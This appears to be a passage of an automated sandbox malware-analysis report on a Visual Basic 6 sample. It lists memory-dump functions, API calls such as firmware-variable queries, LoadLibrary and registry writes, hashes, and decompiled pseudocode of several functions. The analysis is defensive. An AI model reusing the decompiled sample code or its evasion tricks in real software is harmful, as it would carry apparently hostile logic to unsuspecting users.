API String ID: 1029625771-0
Opcode ID: 6e7d9f4afb9f1af29199cfc7b6617783c319e872d5f68f83d7532026dd10e86e
Instruction ID: 23a948080a69d2e01c189102d6eee8b02f338c829991a549b92be55b474c1a86
Opcode Fuzzy Hash: 6e7d9f4afb9f1af29199cfc7b6617783c319e872d5f68f83d7532026dd10e86e
Instruction Fuzzy Hash: 6311AFB45802866DEF757B28CC107FAB2296F01760F908254FF75450C8D76488C7CB20

Uniqueness

Uniqueness Score: -1.00%

Function 021F1D06, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetFirmwareEnvironmentVariableExW.KERNEL32 ref: 021F1D1B

Part of subcall function 021F68EA: GetLongPathNameW.KERNELBASE(?,?,00000200,021F1E43,?,?,?,?), ref: 021F6B0A

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: EnvironmentFirmwareLongNamePathVariable
String ID:
API String ID: 2203466272-0
Opcode ID: ef26d1d494bd6c48a84047c8efe376e404338dcc32f154e4d43cf66ea62e333d
Instruction ID: 0ff89d091eb4a66380ad3198e8e871bc1783b1068c104cf998cbc81c84dbf5db
Opcode Fuzzy Hash: ef26d1d494bd6c48a84047c8efe376e404338dcc32f154e4d43cf66ea62e333d
Instruction Fuzzy Hash: 4D01D432B402489FFB702E10CD4ABDA222BAFD2B80F654124EE6857281FB795880C610

Uniqueness

Uniqueness Score: -1.00%

Function 021F4270, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021F09F0,00000000,?,021F7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021F71A2

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction ID: d933a9b10fccca090f5586809fd3ef300a2c8fb152458392fac93c19612a12fd
Opcode Fuzzy Hash: a5fd03eec5aabe1148c076d7e567975f0c958e9a620e9a1ddc566a7297f132eb
Instruction Fuzzy Hash: 63F027D41C02563CDF903E644E047FEA01A5F10BB0F714120BFB6911CC9B5484878961

Uniqueness

Uniqueness Score: -1.00%

Function 021F7101, Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,082962C8,D85175A0,021F09F0,00000000,?,021F7E3E,F21FD920,?,?,?,?,?,?,000000F0), ref: 021F71A2

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction ID: 76d2d6e91391d3a3f8469a362fe3f24c95719c46ef5904d651c9bcfaedd67af5
Opcode Fuzzy Hash: 8f04b48bfe671e58d376fef62f7cb276023cdad5ac24f270fa41593810f1a310
Instruction Fuzzy Hash: 96E022D41C03963DDB943B784E08BFEF1299F10BA0F648520BFB6901CC9B64888B8A61

Uniqueness

Uniqueness Score: -1.00%

Function 021F1CAD, Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(?,021F569C,00000000,00000001,?,?,?,?), ref: 021F1CC5

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6bdaa0cb3b82f272adecba2e703140a4a5913630ed58f08d4c1b5e06e130ca02
Instruction ID: 8f660a77e21b62eb49146cf4b2c81caf96f49fc6198a51736284ef36cf7e8a82
Opcode Fuzzy Hash: 6bdaa0cb3b82f272adecba2e703140a4a5913630ed58f08d4c1b5e06e130ca02
Instruction Fuzzy Hash: C7C012B01103066AFB222A298CA9F97AA1EAF10301F400012F90AA5080CBA1CC608260

Uniqueness

Uniqueness Score: -1.00%

Function 021F68EA, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,021F1E43,?,?,?,?), ref: 021F6B0A

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction ID: d225fddd8afc94df1d99e0610f8dba59841ca33a8201f9e69a7bb40a4da1de26
Opcode Fuzzy Hash: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction Fuzzy Hash: EAC00271288344AAE6989A10CD95F6B76ACBB50744F129415BABA96141C730ED04C625

Uniqueness

Uniqueness Score: -1.00%

Function 021F4281, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,021F4154,021F42A3,021F0A41,?,021F7E3E,F21FD920), ref: 021F4295

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 021F1658, Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

f, xrefs: 021F1673
*, xrefs: 021F1800

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID: f$*
API String ID: 0-2292304567
Opcode ID: 745f9ce2c616917831c5dad189b620a0ca5454904419a6207f0a58045b731e5e
Instruction ID: 50eb8a128544fabe3ae3d3af3c711133d7cfabc4ee52d201b9016afeb287b9c7
Opcode Fuzzy Hash: 745f9ce2c616917831c5dad189b620a0ca5454904419a6207f0a58045b731e5e
Instruction Fuzzy Hash: 2D11CC665041C2BEE3021A288C247F76B272F97340F5F414CE8DDA3281D36E74028235

Uniqueness

Uniqueness Score: -1.00%

Function 021F2A2B, Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24e414718c675989b2eb5790eb59b8dbc0202c33f63caaec474beb3ae359c9f
Instruction ID: c6b675cccb1828b8b67db79cdcf6296c3c755afa664f7ea216c42c5eeb65e1f0
Opcode Fuzzy Hash: f24e414718c675989b2eb5790eb59b8dbc0202c33f63caaec474beb3ae359c9f
Instruction Fuzzy Hash: ACD1EF2A1906408AEBD11B545956BE9F725BF03630FE047F6CF3A0E8EBD7E401839676

Uniqueness

Uniqueness Score: -1.00%

Function 021F2B5F, Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b709d660b3a675d1c84c9f11509013fea94a4638ef07079193c181cb0c72f90
Instruction ID: d852926cf3b49458acd6f8f06e1458c97dfeae660bc05ac536a29a8fb92e805c
Opcode Fuzzy Hash: 7b709d660b3a675d1c84c9f11509013fea94a4638ef07079193c181cb0c72f90
Instruction Fuzzy Hash: C051BF341A06888ADBD55F118C56BE9B624EF01730FD047D6DF390E4EAD7B44182C6AA

Uniqueness

Uniqueness Score: -1.00%

Function 021F2BC9, Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 254dcd44c6da5947e91652bbb270f23921d8a88f7c16ac47e860dc399beb67d8
Instruction ID: 922e8bb07077aa620b403628d0b9971d67bd53ac36601fe9e45085256a130b17
Opcode Fuzzy Hash: 254dcd44c6da5947e91652bbb270f23921d8a88f7c16ac47e860dc399beb67d8
Instruction Fuzzy Hash: F331D170184380EFEBA5AF24CC49F9977A2BF04750F224099EEB65F1E2D7B09880CE11

Uniqueness

Uniqueness Score: -1.00%

Function 021F5E52, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c663c51d05158f0b4c3489a0d8995f6e6f08506de888a4557a09a26ad6c3e18
Instruction ID: e8fd5fa80deadae0a21c633e98a50dd2e612ea062918410558cdffd0fd256fa4
Opcode Fuzzy Hash: 9c663c51d05158f0b4c3489a0d8995f6e6f08506de888a4557a09a26ad6c3e18
Instruction Fuzzy Hash: AAE0D8656DC3C5AEE7499A2499D0B363B5DAB47158F2180B8A9F3C7242D7609C058230

Uniqueness

Uniqueness Score: -1.00%

Function 021F7780, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799272682bb4c5feb097e6d8d72c4a870f59fb5cbaaa782f92e4dffd8bb8a1fa
Instruction ID: ef37cda6e5ab6c1f2d99a9c916b63d4446305efdf21739c4970c1a00cbf34ca0
Opcode Fuzzy Hash: 799272682bb4c5feb097e6d8d72c4a870f59fb5cbaaa782f92e4dffd8bb8a1fa
Instruction Fuzzy Hash: B3E04F353611408FC354DB08C9C8E65F3B6AB58310F4589A2E621CB7A5C730EC41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 021F3CD0, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed8c7e038a27daa264cc683f433f440aa1d5ad73e3bdc36f3f5782393894b3c
Instruction ID: 7d782e5e2d8235bec591defebd79c093ed3e84e867719c418129a1bcfaa1201d
Opcode Fuzzy Hash: aed8c7e038a27daa264cc683f433f440aa1d5ad73e3bdc36f3f5782393894b3c
Instruction Fuzzy Hash: 47C048BB3826808FE745CA08C9AAB0073A4BB16A88F8544A0E8228B611D328E901CA00

Uniqueness

Uniqueness Score: -1.00%

Function 021F70EA, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.351775983.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction ID: bebcbd0f18a999ce64e2d619b59837d29f74db5f3d96bd371bc818b82041d4c7
Opcode Fuzzy Hash: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
Instruction Fuzzy Hash: F9B00179662A80CFCE96CF09C290E40B3B4FB48B50F4258D0E8118BB22C268E900CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00411476, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00411476(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20, void* _a40) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				void* _v44;
				void* _v52;
				char _v56;
				char _v60;
				char _v76;
				intOrPtr _v84;
				intOrPtr _v92;
				void* _v96;
				signed int _v100;
				intOrPtr* _v112;
				signed int _v116;
				char* _t56;
				char* _t57;
				char* _t61;
				signed int _t65;
				char* _t67;
				void* _t91;
				void* _t93;
				intOrPtr _t94;

				_t94 = _t93 - 0xc;
				 *[fs:0x0] = _t94;
				L004012E0();
				_v16 = _t94;
				_v12 = 0x401248;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x5c,  *[fs:0x0], 0x4012e6, _t91);
				L00401412();
				L004013EE();
				_v84 = _a4;
				_v92 = 9;
				L00401412();
				_t56 =  &_v76;
				_push(_t56);
				L004013AC();
				_v96 =  ~(0 | _t56 != 0x0000ffff);
				L0040143C();
				_t57 = _v96;
				if(_t57 != 0) {
					if( *0x413010 != 0) {
						_v112 = 0x413010;
					} else {
						_push("H/P");
						_push(0x402b88);
						L0040142A();
						_v112 = 0x413010;
					}
					_t61 =  &_v56;
					L00401430();
					_v96 = _t61;
					_t65 =  *((intOrPtr*)( *_v96 + 0x130))(_v96,  &_v60, _t61,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x308))( *_v112));
					asm("fclex");
					_v100 = _t65;
					if(_v100 >= 0) {
						_v116 = _v116 & 0x00000000;
					} else {
						_push(0x130);
						_push(0x403ac0);
						_push(_v96);
						_push(_v100);
						L0040145A();
						_v116 = _t65;
					}
					_push(0);
					_push(0);
					_push(_v60);
					_push( &_v76);
					L00401424();
					_push(1);
					_t67 =  &_v76;
					_push(_t67);
					L00401418();
					L0040141E();
					_push(_t67);
					L004013A6();
					L0040140C();
					_push( &_v60);
					_t57 =  &_v56;
					_push(_t57);
					_push(2);
					L00401406();
					L0040143C();
				}
				_push(0x41161e);
				L0040143C();
				L0040140C();
				return _t57;
			}

0x00411479
0x00411488
0x00411492
0x0041149a
0x0041149d
0x004114a4
0x004114b3
0x004114bc
0x004114c7
0x004114cf
0x004114d2
0x004114df
0x004114e4
0x004114e7
0x004114e8
0x004114f8
0x004114ff
0x00411504
0x0041150a
0x00411517
0x00411531
0x00411519
0x00411519
0x0041151e
0x00411523
0x00411528
0x00411528
0x0041154c
0x00411550
0x00411555
0x00411564
0x0041156a
0x0041156c
0x00411573
0x0041158f
0x00411575
0x00411575
0x0041157a
0x0041157f
0x00411582
0x00411585
0x0041158a
0x0041158a
0x00411593
0x00411595
0x00411597
0x0041159d
0x0041159e
0x004115a6
0x004115a8
0x004115ab
0x004115ac
0x004115b6
0x004115bb
0x004115bc
0x004115c4
0x004115cc
0x004115cd
0x004115d0
0x004115d1
0x004115d3
0x004115de
0x004115de
0x004115e3
0x00411610
0x00411618
0x0041161d

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411492
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 004114BC
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 004114C7
__vbaVarDup.MSVBVM60 ref: 004114DF
#562.MSVBVM60(?), ref: 004114E8
__vbaFreeVar.MSVBVM60(?), ref: 004114FF
__vbaNew2.MSVBVM60(00402B88,H/P,?), ref: 00411523
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?), ref: 00411550
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC0,00000130,?,?,?,?,?), ref: 00411585
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?,?,?), ref: 0041159E
__vbaStrVarMove.MSVBVM60(?,00000001,?,?,?,004012E6), ref: 004115AC
__vbaStrMove.MSVBVM60(?,00000001,?,?,?,004012E6), ref: 004115B6
#580.MSVBVM60(00000000,?,00000001,?,?,?,004012E6), ref: 004115BC
__vbaFreeStr.MSVBVM60(00000000,?,00000001,?,?,?,004012E6), ref: 004115C4
__vbaFreeObjList.MSVBVM60(00000002,?,?,00000000,?,00000001,?,?,?,004012E6), ref: 004115D3
__vbaFreeVar.MSVBVM60(00000000,?,00000001,?,?,?,004012E6), ref: 004115DE
__vbaFreeVar.MSVBVM60(0041161E,?), ref: 00411610
__vbaFreeStr.MSVBVM60(0041161E,?), ref: 00411618

Strings

H/P, xrefs: 00411510, 00411519, 00411528, 00411531

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$#562#580CallCheckChkstkCopyHresultLateListNew2
String ID: H/P
API String ID: 2788452748-4173294835
Opcode ID: 5d1365f6ef1772d3490d65ea546e1ed95fbe4b10d5afc3231c5b3b9d8a9ecc91
Instruction ID: a9aa9f5d0c30e8745b900283abee0d332bb7a1ce0b2e7a6b4ab424db7f2c1755
Opcode Fuzzy Hash: 5d1365f6ef1772d3490d65ea546e1ed95fbe4b10d5afc3231c5b3b9d8a9ecc91
Instruction Fuzzy Hash: D341F975900208ABCB00EFE1C885BDDBBB9AF48704F50412AF505BB1B1DB789A46CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00411AE3, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00411AE3(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a24, void* _a60) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v40;
				void* _v56;
				intOrPtr _v60;
				char _v64;
				void* _v88;
				char _v104;
				char* _v128;
				char _v136;
				intOrPtr _v144;
				char _v152;
				short _v156;
				short _t40;
				short _t41;
				void* _t58;
				void* _t60;
				intOrPtr _t61;

				_t61 = _t60 - 0xc;
				 *[fs:0x0] = _t61;
				L004012E0();
				_v16 = _t61;
				_v12 = 0x4012a8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t58);
				L00401412();
				L00401412();
				L00401412();
				L004013EE();
				_v128 =  &_v64;
				_v136 = 0x4008;
				_push(1);
				_push( &_v136);
				_push( &_v104);
				L0040138E();
				_v144 = 0x403c10;
				_v152 = 0x8008;
				_push( &_v104);
				_t40 =  &_v152;
				_push(_t40);
				L00401394();
				_v156 = _t40;
				L0040143C();
				_t41 = _v156;
				if(_t41 != 0) {
					_push(0x98);
					L00401388();
					_v60 = _t41;
				}
				_push(0x411bfb);
				L0040143C();
				L0040143C();
				L0040140C();
				L0040143C();
				return _t41;
			}

0x00411ae6
0x00411af5
0x00411b01
0x00411b09
0x00411b0c
0x00411b13
0x00411b22
0x00411b2b
0x00411b36
0x00411b41
0x00411b4e
0x00411b56
0x00411b59
0x00411b63
0x00411b6b
0x00411b6f
0x00411b70
0x00411b75
0x00411b7f
0x00411b8c
0x00411b8d
0x00411b93
0x00411b94
0x00411b99
0x00411ba3
0x00411ba8
0x00411bb1
0x00411bb3
0x00411bb8
0x00411bbd
0x00411bbd
0x00411bc0
0x00411bdd
0x00411be5
0x00411bed
0x00411bf5
0x00411bfa

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411B01
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411B2B
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411B36
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411B41
__vbaStrCopy.MSVBVM60(?,?,?,?,004012E6), ref: 00411B4E
#619.MSVBVM60(?,00004008,00000001), ref: 00411B70
__vbaVarTstNe.MSVBVM60(?,?,?,00004008,00000001), ref: 00411B94
__vbaFreeVar.MSVBVM60(?,?,?,00004008,00000001), ref: 00411BA3
#568.MSVBVM60(00000098,?,?,?,00004008,00000001), ref: 00411BB8
__vbaFreeVar.MSVBVM60(00411BFB,?,?,?,00004008,00000001), ref: 00411BDD
__vbaFreeVar.MSVBVM60(00411BFB,?,?,?,00004008,00000001), ref: 00411BE5
__vbaFreeStr.MSVBVM60(00411BFB,?,?,?,00004008,00000001), ref: 00411BED
__vbaFreeVar.MSVBVM60(00411BFB,?,?,?,00004008,00000001), ref: 00411BF5

Strings

ABC, xrefs: 00411B46

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#568#619ChkstkCopy
String ID: ABC
API String ID: 718684173-2743272264
Opcode ID: 0070103682eccff6e0e85286c56c79466654b766f756b233fc2cb4829fc59746
Instruction ID: f6cb887db08d5a3b5d06f6eef7c304cd303d65951e4e8a843c7cae1f1b6dbed3
Opcode Fuzzy Hash: 0070103682eccff6e0e85286c56c79466654b766f756b233fc2cb4829fc59746
Instruction Fuzzy Hash: DC21DB719002099ADB14EFA1C982BDDB7B8BF04704F5080BAB505B71B1EB78AA49CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411215, Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00411215(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				char _v28;
				intOrPtr _v36;
				char _v44;
				char _v60;
				char _v80;
				intOrPtr* _v84;
				signed int _v88;
				char _v96;
				signed int _v100;
				char* _t41;
				intOrPtr _t48;
				char* _t49;
				char* _t52;
				signed int _t55;
				intOrPtr _t65;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t65;
				_push(0x50);
				L004012E0();
				_v12 = _t65;
				_v8 = 0x401228;
				_v36 = 0x80020004;
				_v44 = 0xa;
				_push(0);
				_push(0xffffffff);
				_push( &_v44);
				_push(0x403bd8);
				_push( &_v60);
				L004013BE();
				_t41 =  &_v60;
				_push(_t41);
				_push(0x2008);
				L004013C4();
				_v80 = _t41;
				_push( &_v80);
				_push( &_v24);
				L004013CA();
				_push( &_v60);
				_push( &_v44);
				_push(2);
				L00401400();
				_t48 =  *((intOrPtr*)(_v24 + 0xc));
				_push( *((intOrPtr*)(_t48 + (0 -  *((intOrPtr*)(_v24 + 0x14))) * 4)));
				_push(0x403be4);
				L004013B8();
				if(_t48 != 0) {
					if( *0x413744 != 0) {
						_v96 = 0x413744;
					} else {
						_push(0x413744);
						_push(0x403bc4);
						L0040142A();
						_v96 = 0x413744;
					}
					_t21 =  &_v96; // 0x413744
					_v84 =  *((intOrPtr*)( *_t21));
					_t24 =  &_v28; // 0x413744
					_t52 = _t24;
					L00401460();
					_t55 =  *((intOrPtr*)( *_v84 + 0x10))(_v84, _t52, _t52, _a4);
					asm("fclex");
					_v88 = _t55;
					if(_v88 >= 0) {
						_v100 = _v100 & 0x00000000;
					} else {
						_push(0x10);
						_push(0x403bb4);
						_push(_v84);
						_push(_v88);
						L0040145A();
						_v100 = _t55;
					}
					L0040144E();
				}
				_push(0x411359);
				_t36 =  &_v24; // 0x403be4
				_t49 = _t36;
				_push(_t49);
				_push(0);
				L004013B2();
				return _t49;
			}

0x0041121a
0x00411225
0x00411226
0x0041122d
0x00411230
0x00411238
0x0041123b
0x00411242
0x00411249
0x00411250
0x00411252
0x00411257
0x00411258
0x00411260
0x00411261
0x00411266
0x00411269
0x0041126a
0x0041126f
0x00411274
0x0041127a
0x0041127e
0x0041127f
0x00411287
0x0041128b
0x0041128c
0x0041128e
0x004112a1
0x004112a4
0x004112a7
0x004112ac
0x004112b3
0x004112bc
0x004112d6
0x004112be
0x004112be
0x004112c3
0x004112c8
0x004112cd
0x004112cd
0x004112dd
0x004112e2
0x004112e8
0x004112e8
0x004112ec
0x004112fa
0x004112fd
0x004112ff
0x00411306
0x0041131f
0x00411308
0x00411308
0x0041130a
0x0041130f
0x00411312
0x00411315
0x0041131a
0x0041131a
0x00411326
0x00411326
0x0041132b
0x0041134d
0x0041134d
0x00411350
0x00411351
0x00411353
0x00411358

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411230
#711.MSVBVM60(?,00403BD8,0000000A,000000FF,00000000,?,?,?,?,?,?,?,004012E6), ref: 00411261
__vbaAryVar.MSVBVM60(00002008,?,?,00403BD8,0000000A,000000FF,00000000,?,?,?,?,?,?,?,004012E6), ref: 0041126F
__vbaAryCopy.MSVBVM60(?,?,00002008,?,?,00403BD8,0000000A,000000FF,00000000), ref: 0041127F
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,00403BD8,0000000A,000000FF,00000000), ref: 0041128E
__vbaStrCmp.MSVBVM60(00403BE4,?), ref: 004112AC
__vbaNew2.MSVBVM60(00403BC4,00413744,00403BE4,?), ref: 004112C8
__vbaObjSetAddref.MSVBVM60(?,?), ref: 004112EC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB4,00000010), ref: 00411315
__vbaFreeObj.MSVBVM60(00000000,?,00403BB4,00000010), ref: 00411326
__vbaAryDestruct.MSVBVM60(00000000,;@,00411359,00403BE4,?), ref: 00411353

Strings

D7A;@, xrefs: 004112E8, 004112EB
D7A, xrefs: 004112DD

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#711AddrefCheckChkstkCopyDestructHresultListNew2
String ID: D7A$D7A;@
API String ID: 4246334928-2347690085
Opcode ID: 404f0e1f54e59624ce8f160ad3d7a3a40de6d6f0bd815202453ba405e8748b58
Instruction ID: d0838ef2d02168721937db39c1c3fcaaaf219b1914f5d4149e551837e4b654e0
Opcode Fuzzy Hash: 404f0e1f54e59624ce8f160ad3d7a3a40de6d6f0bd815202453ba405e8748b58
Instruction Fuzzy Hash: ED31DBB190020CAFDB00EFD5C846FDEBBB8EB04705F50416AF611BB5E5D778A6458B29

Uniqueness

Uniqueness Score: -1.00%

Function 004116F0, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004116F0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v44;
				signed int _v48;
				intOrPtr* _v52;
				signed int _v56;
				intOrPtr _v68;
				char _v72;
				signed int _v76;
				signed int _t36;
				signed int _t42;
				void* _t52;
				void* _t54;
				intOrPtr _t55;

				_t55 = _t54 - 0xc;
				 *[fs:0x0] = _t55;
				L004012E0();
				_v16 = _t55;
				_v12 = 0x401268;
				_v8 = 0;
				_t36 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x34,  *[fs:0x0], 0x4012e6, _t52);
				L00401412();
				_push(0x403bec);
				L0040139A();
				if(_t36 != 1) {
					if( *0x413744 != 0) {
						_v72 = 0x413744;
					} else {
						_push(0x413744);
						_push(0x403bc4);
						L0040142A();
						_v72 = 0x413744;
					}
					_t11 =  &_v72; // 0x413744
					_v52 =  *((intOrPtr*)( *_t11));
					_t42 =  *((intOrPtr*)( *_v52 + 0x48))(_v52, 0x6f,  &_v48);
					asm("fclex");
					_v56 = _t42;
					if(_v56 >= 0) {
						_v76 = _v76 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x403bb4);
						_push(_v52);
						_push(_v56);
						L0040145A();
						_v76 = _t42;
					}
					_t36 = _v48;
					_v68 = _t36;
					_v48 = _v48 & 0x00000000;
					L0040141E();
				}
				_push(0x4117e8);
				L0040140C();
				L0040143C();
				return _t36;
			}

0x004116f3
0x00411702
0x0041170c
0x00411714
0x00411717
0x0041171e
0x0041172d
0x00411736
0x0041173b
0x00411740
0x00411749
0x00411752
0x0041176c
0x00411754
0x00411754
0x00411759
0x0041175e
0x00411763
0x00411763
0x00411773
0x00411778
0x00411789
0x0041178c
0x0041178e
0x00411795
0x004117ae
0x00411797
0x00411797
0x00411799
0x0041179e
0x004117a1
0x004117a4
0x004117a9
0x004117a9
0x004117b2
0x004117b5
0x004117b8
0x004117c2
0x004117c2
0x004117c7
0x004117da
0x004117e2
0x004117e7

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0041170C
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 00411736
__vbaI2Str.MSVBVM60(00403BEC,?,?,?,?,004012E6), ref: 00411740
__vbaNew2.MSVBVM60(00403BC4,00413744,00403BEC,?,?,?,?,004012E6), ref: 0041175E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403BB4,00000048), ref: 004117A4
__vbaStrMove.MSVBVM60(00000000,?,00403BB4,00000048), ref: 004117C2
__vbaFreeStr.MSVBVM60(004117E8,00403BEC,?,?,?,?,004012E6), ref: 004117DA
__vbaFreeVar.MSVBVM60(004117E8,00403BEC,?,?,?,?,004012E6), ref: 004117E2

Strings

